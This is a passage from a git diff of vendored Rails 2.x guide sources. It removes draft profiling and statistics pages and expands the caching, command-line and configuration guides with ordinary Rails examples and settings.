The number of times this method was called. - * name - The name of the method. - -Name can be displayed three seperate ways: - * #toplevel - The root method that calls all other methods - * MyObject#method - Example Hash#each, The class Hash is calling the method each - * #test - The <> characters indicate a singleton method on a singleton class. Example #allocate - -Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top. - -So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms. - - -.Flat File Memory Output -============================================================================ -Thread ID: 2279160 -Total: 509.724609 - - %self total self wait child calls name - 4.62 23.57 23.57 0.00 0.00 34 String#split - 3.95 57.66 20.13 0.00 37.53 3 #quick_emit - 2.82 23.70 14.35 0.00 9.34 2 #quick_emit-1 - 1.37 35.87 6.96 0.00 28.91 1 ActionView::Helpers::FormTagHelper#form_tag - 1.35 7.69 6.88 0.00 0.81 1 ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic - 1.06 6.09 5.42 0.00 0.67 90 String#gsub - 1.01 5.13 5.13 0.00 0.00 27 Array#- -============================================================================ - -Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory *(or is it strictly into the heap) can I get clarification on this minor point?* - -So for #quick_emit which is singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice. - -.Flat File Objects -============================================================================ -Thread ID: 2279160 -Total: 6537.000000 - - %self total self wait child calls name - 15.16 1096.00 991.00 0.00 105.00 66 Hash#each - 5.25 343.00 343.00 0.00 0.00 4 Mysql::Result#each_hash - 4.74 2203.00 310.00 0.00 1893.00 42 Array#each - 3.75 4529.00 245.00 0.00 4284.00 1 ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb - 2.00 136.00 131.00 0.00 5.00 90 String#gsub - 1.73 113.00 113.00 0.00 0.00 34 String#split - 1.44 111.00 94.00 0.00 17.00 31 Array#each-1 -============================================================================ - - - #TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?. - -=== Graph Files === - -While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found link:examples/graph.html[Here] - -#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging. - ) - -.Graph File -============================================================================ -Thread ID: 21277412 - - %total %self total self children calls Name -/____________________________________________________________________________/ -100.00% 0.00% 8.77 0.00 8.77 1 #toplevel* - 8.77 0.00 8.77 1/1 Object#run_primes -/____________________________________________________________________________/ - 8.77 0.00 8.77 1/1 #toplevel -100.00% 0.00% 8.77 0.00 8.77 1 Object#run_primes* - 0.02 0.00 0.02 1/1 Object#make_random_array - 2.09 0.00 2.09 1/1 Object#find_largest - 6.66 0.00 6.66 1/1 Object#find_primes -/____________________________________________________________________________/ - 0.02 0.02 0.00 1/1 Object#make_random_array -0.18% 0.18% 0.02 0.02 0.00 1 Array#each_index - 0.00 0.00 0.00 500/500 Kernel.rand - 0.00 0.00 0.00 500/501 Array#[]= -/____________________________________________________________________________/ -============================================================================ - -As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence. - -So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry. - -=== Tree Files === - -It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness - -.KCachegrind Graph -[caption="KCachegrind graph"] -image:images/kgraph.png[Graph created by KCachegrind] - -.KCachegrind List -[caption="KCachegrind List"] -image:images/klist.png[List created by KCachegrind] - -#TODO Add a bit more information to this. - -== Getting to the Point of all of this == - -Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section - diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt deleted file mode 100644 index 9fca979d..00000000 --- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt +++ /dev/null @@ -1,57 +0,0 @@ -== A Lession In Statistics == - -#TODO COMPRESS DOWN INTO A PARAGRAPH AND A HALF -maybe I'll just combine with the methodology portion as an appendix. - -Adapted from a blog Article by Zed Shaw. His rant is funnier but will take longer to read.
http://www.zedshaw.com/rants/programmer_stats.html[Programmers Need To Learn Statistics Or I Will Kill Them All] - -=== Why Learn Statistics === - -Statistics is a hard discipline. One can study it for years without fully grasping all the complexities. But its a necessary evil for coders of every level to at least know the basics. You can't optimize without it, and if you use it wrong, you'll just waste your time and the rest of your team's. - -=== Power-of-Ten Syndrome === - -If you done any benchmarking you have probably heard -“All you need to do is run that test [insert power-of-ten] times and then do an average.†- -For new developers this whole power of ten comes about because we need enough data to minimize the results being contaminated by outliers. If you loaded a page five times with three of those times being around 75ms and twice 250ms you have no way of knowing the real average processing time for you page. But if we take a 1000 times and 950 are 75ms and 50 are 250ms we have a much clearer picture of the situation. - -But this still begs the question of how you determine that 1000 is the correct number of iterations to improve the power of the experiment? (Power in this context basically means the chance that your experiment is right.) - -The first thing that needs to be determined is how you are performing the samplings? 1000 iterations run in a massive sequential row? A set of 10 runs with 100 each? The statistics are different depending on which you do, but the 10 runs of 100 each would be a better approach. This lets you compare sample means and figure out if your repeated runs have any bias. More simply put, this allows you to see if you have a many or few outliers that might be poisoning your averages. - -Another consideration is if a 1000 transactions is enough to get the process into a steady state after the ramp-up period? If you are benchmarking a long running process that stabilizes only after a warm-up time you must take that into consideration. - -Also remember getting an average is not an end goal in itself. In fact in some cases they tell you almost nothing. - -=== Don't Just Use Averages! === - -One cannot simply say my website “[insert power-of-ten] requests per secondâ€. This is due to it being an Average. Without some form of range or variance error analysis it's a useless number. Two averages can be the same, but hide massive differences in behavior. Without a standard deviation it’s not possible to figure out if the two might even be close. - -Two averages can be the same say 30 requests a second and yet have a completely different standard deviation. Say the first sample has +-3 and the second is +-30 - -Stability is vastly different for these two samples If this were a web server performance run I’d say the second server has a major reliability problem. No, it’s not going to crash, but it’s performance response is so erratic that you’d never know how long a request would take. Even though the two servers perform the same on average, users will think the second one is slower because of how it seems to randomly perform. - -Another big thing to take into consideration when benchmarking and profiling is Confounding - -=== Confounding === - -The idea of confounding is pretty simple: If you want to measure something, then don’t measure anything else. - -#TODO add more information in how to avoid confounding. - -* Your testing system and your production system must be separate. You can't profile on the same system because you are using resources to run the test that your server should be using to serve the requests. - -And one more thing. - -=== Define what you are Measuring === - -Before you can measure something you really need to lay down a very concrete definition of what you’re measuring. You should also try to measure the simplest thing you can and try to avoid confounding. - -The most important thing to determine though is how much data you can actually send to your application through it's pipe. - -=== Back to Business === - -Now I know this was all a bit boring, but these fundamentals a necessary for understanding what we are actually doing here. Now onto the actual code and rails processes. - - diff --git a/vendor/rails/railties/doc/guides/source/caching_with_rails.txt b/vendor/rails/railties/doc/guides/source/caching_with_rails.txt index e680b79d..6da67ed4 100644 --- a/vendor/rails/railties/doc/guides/source/caching_with_rails.txt +++ b/vendor/rails/railties/doc/guides/source/caching_with_rails.txt @@ -10,8 +10,8 @@ need to return to those hungry web clients in the shortest time possible. This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins. -To get started make sure config.action_controller.perform_caching is set -to true for your environment. This flag is normally set in the +To get started make sure `config.action_controller.perform_caching` is set +to `true` for your environment. This flag is normally set in the corresponding config/environments/*.rb and caching is disabled by default there for development and test, and enabled for production. @@ -45,21 +45,21 @@ end ----------------------------------------------------- The first time anyone requests products/index, Rails will generate a file -called index.html and the webserver will then look for that file before it +called `index.html` and the webserver will then look for that file before it passes the next request for products/index to your Rails application. By default, the page cache directory is set to Rails.public_path (which is -usually set to RAILS_ROOT + "/public") and this can be configured by -changing the configuration setting ActionController::Base.page_cache_directory. Changing the -default from /public helps avoid naming conflicts, since you may want to -put other static html in /public, but changing this will require web -server reconfiguration to let the web server know where to serve the -cached files from. +usually set to `RAILS_ROOT + "/public"`) and this can be configured by +changing the configuration setting `config.action_controller.page_cache_directory`. +Changing the default from /public helps avoid naming conflicts, since you may +want to put other static html in /public, but changing this will require web +server reconfiguration to let the web server know where to serve the cached +files from. -The Page Caching mechanism will automatically add a .html exxtension to +The Page Caching mechanism will automatically add a `.html` exxtension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the -configuration setting ActionController::Base.page_cache_extension. +configuration setting `config.action_controller.page_cache_extension`. In order to expire this page when a new product is added we could extend our example controler like this: @@ -119,8 +119,8 @@ class ProductsController < ActionController end ----------------------------------------------------- -And you can also use :if (or :unless) to pass a Proc that specifies when the -action should be cached. Also, you can use :layout => false to cache without +And you can also use `:if` (or `:unless`) to pass a Proc that specifies when the +action should be cached. Also, you can use `:layout => false` to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2. @@ -164,7 +164,7 @@ could use this piece of code: The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you -want to cache multiple fragments per action, you should provide an action_suffix to the cache call: +want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call: [source, ruby] ----------------------------------------------------- @@ -172,11 +172,29 @@ want to cache multiple fragments per action, you should provide an action_suffix All available products: ----------------------------------------------------- -and you can expire it using the expire_fragment method, like so: +and you can expire it using the `expire_fragment` method, like so: [source, ruby] ----------------------------------------------------- -expire_fragment(:controller => 'producst', :action => 'recent', :action_suffix => 'all_products) +expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products) +----------------------------------------------------- + +If you don't want the cache block to bind to the action that called it, You can +also use globally keyed fragments by calling the cache method with a key, like +so: + +[source, ruby] +----------------------------------------------------- +<% cache(:key => ['all_available_products', @latest_product.created_at].join(':')) do %> + All available products: +----------------------------------------------------- + +This fragment is then available to all actions in the ProductsController using +the key and can be expired the same way: + +[source, ruby] +----------------------------------------------------- +expire_fragment(:key => ['all_available_products', @latest_product.created_at].join(':')) ----------------------------------------------------- [More: more examples? description of fragment keys and expiration, etc? pagination?] @@ -185,7 +203,7 @@ expire_fragment(:controller => 'producst', :action => 'recent', :action_suffix = Cache sweeping is a mechanism which allows you to get around having a ton of expire_{page,action,fragment} calls in your code by moving all the work -required to expire cached content into a ActionController::Caching::Sweeper +required to expire cached content into a `ActionController::Caching::Sweeper` class that is an Observer and looks for changes to an object via callbacks, and when a change occurs it expires the caches associated with that object n an around or after filter. @@ -196,19 +214,19 @@ sweeper such as the following: [source, ruby] ----------------------------------------------------- class StoreSweeper < ActionController::Caching::Sweeper - observe Product # This sweeper is going to keep an eye on the Post model + observe Product # This sweeper is going to keep an eye on the Product model - # If our sweeper detects that a Post was created call this + # If our sweeper detects that a Product was created call this def after_create(product) expire_cache_for(product) end - # If our sweeper detects that a Post was updated call this + # If our sweeper detects that a Product was updated call this def after_update(product) expire_cache_for(product) end - # If our sweeper detects that a Post was deleted call this + # If our sweeper detects that a Product was deleted call this def after_destroy(product) expire_cache_for(product) end @@ -340,8 +358,7 @@ ActionController::Base.cache_store = :drb_store, "druby://localhost:9192" ----------------------------------------------------- 4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead. - Requires the ruby-memcache library: - gem install ruby-memcache. + Rails uses the bundled memcached-client gem by default. [source, ruby] ----------------------------------------------------- @@ -355,6 +372,68 @@ ActionController::Base.cache_store = :mem_cache_store, "localhost" ActionController::Base.cache_store = MyOwnStore.new("parameter") ----------------------------------------------------- ++Note: config.cache_store can be used in place of +ActionController::Base.cache_store in your Rails::Initializer.run block in +environment.rb+ + +== Conditional GET support + +Conditional GETs are a facility of the HTTP spec that provide a way for web +servers to tell browsers that the response to a GET request hasn’t changed +since the last request and can be safely pulled from the browser cache. + +They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to +pass back and forth both a unique content identifier and the timestamp of when +the content was last changed. If the browser makes a request where the content +identifier (etag) or last modified since timestamp matches the server’s version +then the server only needs to send back an empty response with a not modified +status. + +It is the server’s (i.e. our) responsibility to look for a last modified +timestamp and the if-none-match header and determine whether or not to send +back the full response. With conditional-get support in rails this is a pretty +easy task: + +[source, ruby] +----------------------------------------------------- +class ProductsController < ApplicationController + + def show + @product = Product.find(params[:id]) + + # If the request is stale according to the given timestamp and etag value + # (i.e. it needs to be processed again) then execute this block + if stale?(:last_modified => @product.updated_at.utc, :etag => @product) + respond_to do |wants| + # ... normal response processing + end + end + + # If the request is fresh (i.e. it's not modified) then you don't need to do + # anything. The default render checks for this using the parameters + # used in the previous call to stale? and will automatically send a + # :not_modified. So that's it, you're done. +end +----------------------------------------------------- + +If you don’t have any special response processing and are using the default +rendering mechanism (i.e. you’re not using respond_to or calling render +yourself) then you’ve got an easy helper in fresh_when: + +[source, ruby] +----------------------------------------------------- +class ProductsController < ApplicationController + + # This will automatically send back a :not_modified if the request is fresh, + # and will render the default template (product.*) if it's stale. + + def show + @product = Product.find(params[:id]) + fresh_when :last_modified => @product.published_at.utc, :etag => @article + end +end +----------------------------------------------------- + == Advanced Caching Along with the built-in mechanisms outlined above, a number of excellent diff --git a/vendor/rails/railties/doc/guides/source/command_line.txt b/vendor/rails/railties/doc/guides/source/command_line.txt index 5f7c6cef..8a887bd0 100644 --- a/vendor/rails/railties/doc/guides/source/command_line.txt +++ b/vendor/rails/railties/doc/guides/source/command_line.txt @@ -52,7 +52,7 @@ NOTE: This output will seem very familiar when we get to the `generate` command. === server === -Let's try it! The `server` command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser. +Let's try it! The `server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser. NOTE: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section] @@ -99,7 +99,7 @@ Using generators will save you a large amount of time by writing *boilerplate co Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: -NOTE: All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like `rails` or `./script/generate`). For others, you can try adding `--help` or `-h` to the end, as in `./script/server --help`. +NOTE: All Rails console utilities have help text. As with most *NIX utilities, you can try adding `--help` or `-h` to the end, for example `./script/server --help`. [source,shell] ------------------------------------------------------ @@ -143,5 +143,198 @@ $ ./script/generate controller Greeting hello create app/views/greetings/hello.html.erb ------------------------------------------------------ -Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command! +Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. +Let's check out the controller and modify it a little (in `app/controllers/greeting_controller.rb`): + +[source,ruby] +------------------------------------------------------ +class GreetingController < ApplicationController + def hello + @message = "Hello, how are you today? I am exuberant!" + end + +end +------------------------------------------------------ + +Then the view, to display our nice message (in `app/views/greeting/hello.html.erb`): + +[source,html] +------------------------------------------------------ +

A Greeting for You!

+

<%= @message %>

+------------------------------------------------------ + +Deal. Go check it out in your browser. Fire up your server. Remember? `./script/server` at the root of your Rails application should do it. + +[source,shell] +------------------------------------------------------ +$ ./script/server +=> Booting WEBrick... +------------------------------------------------------ + +The URL will be `http://localhost:3000/greetings/hello`. I'll wait for you to be suitably impressed. + +NOTE: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller. + +"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name? + +[source,shell] +------------------------------------------------------ +$ ./script/generate model +Usage: ./script/generate model ModelName [field:type, field:type] + +... + +Examples: + `./script/generate model account` + + creates an Account model, test, fixture, and migration: + Model: app/models/account.rb + Test: test/unit/account_test.rb + Fixtures: test/fixtures/accounts.yml + Migration: db/migrate/XXX_add_accounts.rb + + `./script/generate model post title:string body:text published:boolean` + + creates a Post model with a string title, text body, and published flag. +------------------------------------------------------ + +But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above. + +Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play. + +[source,shell] +------------------------------------------------------ +$ ./script/generate scaffold HighScore game:string score:integer + exists app/models/ + exists app/controllers/ + exists app/helpers/ + create app/views/high_scores + create app/views/layouts/ + exists test/functional/ + create test/unit/ + create public/stylesheets/ + create app/views/high_scores/index.html.erb + create app/views/high_scores/show.html.erb + create app/views/high_scores/new.html.erb + create app/views/high_scores/edit.html.erb + create app/views/layouts/high_scores.html.erb + create public/stylesheets/scaffold.css + create app/controllers/high_scores_controller.rb + create test/functional/high_scores_controller_test.rb + create app/helpers/high_scores_helper.rb + route map.resources :high_scores +dependency model + exists app/models/ + exists test/unit/ + create test/fixtures/ + create app/models/high_score.rb + create test/unit/high_score_test.rb + create test/fixtures/high_scores.yml + exists db/migrate + create db/migrate/20081217071914_create_high_scores.rb +------------------------------------------------------ + +Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the *resource*, and new tests for everything. + +The migration requires that we *migrate*, that is, run some Ruby code (living in that `20081217071914_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. + +NOTE: Hey. Install the sqlite3-ruby gem while you're at it. `gem install sqlite3-ruby` + +[source,shell] +------------------------------------------------------ +$ rake db:migrate +(in /home/commandsapp) +== CreateHighScores: migrating =============================================== +-- create_table(:high_scores) + -> 0.0070s +== CreateHighScores: migrated (0.0077s) ====================================== +------------------------------------------------------ + +NOTE: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment. + +Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores + +We can create new high scores (55,160 on Space Invaders!) + +=== console === +The `console` command lets you interact with your Rails application from the command line. On the underside, `script/console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. + +=== dbconsole === +`dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. + +=== plugin === +The `plugin` command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly. + +Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field? + +There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things. + +[source,shell] +------------------------------------------------------ +$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid ++ ./CHANGELOG ++ ./MIT-LICENSE +... +... +------------------------------------------------------ + +=== runner === +`runner` runs Ruby code in the context of Rails non-interactively. For instance: + +[source,shell] +------------------------------------------------------ +$ ./script/runner "Model.long_running_method" +------------------------------------------------------ + +=== destroy === +Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times! + +[source,shell] +------------------------------------------------------ +$ ./script/generate model Oops + exists app/models/ + exists test/unit/ + exists test/fixtures/ + create app/models/oops.rb + create test/unit/oops_test.rb + create test/fixtures/oops.yml + exists db/migrate + create db/migrate/20081221040817_create_oops.rb +$ ./script/destroy model Oops + notempty db/migrate + notempty db + rm db/migrate/20081221040817_create_oops.rb + rm test/fixtures/oops.yml + rm test/unit/oops_test.rb + rm app/models/oops.rb + notempty test/fixtures + notempty test + notempty test/unit + notempty test + notempty app/models + notempty app +------------------------------------------------------ + +=== about === +Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! `about` is useful when you need to ask help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. + +[source,shell] +------------------------------------------------------ +$ ./script/about +About your application's environment +Ruby version 1.8.6 (i486-linux) +RubyGems version 1.3.1 +Rails version 2.2.0 +Active Record version 2.2.0 +Action Pack version 2.2.0 +Active Resource version 2.2.0 +Action Mailer version 2.2.0 +Active Support version 2.2.0 +Edge Rails revision unknown +Application root /home/commandsapp +Environment development +Database adapter sqlite3 +Database schema version 20081217073400 +------------------------------------------------------ \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/configuring.txt b/vendor/rails/railties/doc/guides/source/configuring.txt index 07b630c5..489e205e 100644 --- a/vendor/rails/railties/doc/guides/source/configuring.txt +++ b/vendor/rails/railties/doc/guides/source/configuring.txt @@ -6,220 +6,234 @@ This guide covers the configuration and initialization features available to Rai * Adjust the behavior of your Rails applications * Add additional code to be run at application start time +NOTE: The first edition of this Guide was written from the Rails 2.3 source code. While the information it contains is broadly applicable to Rails 2.2, backwards compatibility is not guaranteed. + == Locations for Initialization Code -preinitializers -environment.rb first -env-specific files -initializers (load_application_initializers) -after-initializer +Rails offers (at least) five good spots to place initialization code: + +* Preinitializers +* environment.rb +* Environment-specific Configuration Files +* Initializers (load_application_initializers) +* After-Initializers == Using a Preinitializer +Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file. + == Configuring Rails Components +In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting: + +[source, ruby] +------------------------------------------------------- +config.time_zone = 'UTC' +------------------------------------------------------- + +This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object: + +[source, ruby] +------------------------------------------------------- +config.active_record.colorize_logging = false +------------------------------------------------------- + +Rails will use that particular setting to configure Active Record. + === Configuring Active Record ++ActiveRecord::Base+ includes a variety of configuration options: + ++logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging. + ++primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices: + +* +:table_name+ would make the primary key for the Customer class +customerid+ +* +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+ + ++table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string. + ++table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string. + ++pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table. + ++colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord. + ++default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+. + ++schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements. + ++timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application. + ++lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+. + +The MySQL adapter adds one additional configuration option: + ++ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+. + +The schema dumper adds one additional configuration option: + ++ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+. + === Configuring Action Controller +ActionController::Base includes a number of configuration settings: + ++asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host. + ++consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors. + ++allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. + ++param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active. + ++default_charset+ specifies the default character set for all renders. The default is "utf-8". + ++logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging. + ++resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/". + ++resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+. + ++request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default. + ++optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default. + ++use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request. + ++allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes. + ++relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+. + +The caching code adds two additional settings: + ++ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+). + ++ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+. + +The dispatcher includes one setting: + ++ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+. + +The Active Record session store can also be configured: + ++CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data' + === Configuring Action View +There are only a few configuration options for Action View, starting with four on +ActionView::Base+: + ++debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+. + ++warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+. + ++field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is +Proc.new{ |html_tag, instance| "
#{html_tag}
" }+ + ++default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. + +The ERB template handler supplies one additional option: + ++ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the link:http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/[ERB documentation] for more information. + === Configuring Action Mailer +There are a number of settings available on +ActionMailer::Base+: + ++template_root+ gives the root folder for Action Mailer templates. + ++logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. + ++smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options: + +* +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting. +* +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it. +* +:domain+ - If you need to specify a HELO domain, you can do it here. +* +:user_name+ - If your mail server requires authentication, set the username in this setting. +* +:password+ - If your mail server requires authentication, set the password in this setting. +* +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+. + ++sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options: + +* +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+. +* +:arguments+ - The command line arguments. Defaults to +-i -t+. + ++raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+. + ++delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+. + ++perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing. + ++default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+. + ++default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain" + ++default_mime_version+ is the default MIME version for the message. It defaults to +1.0+. + ++default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates +which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to ++["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client +and appear last in the mime encoded message. + === Configuring Active Resource +There is a single configuration setting available on +ActiveResource::Base+: + ++logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging. + === Configuring Active Support +There are a few configuration options available in Active Support: + 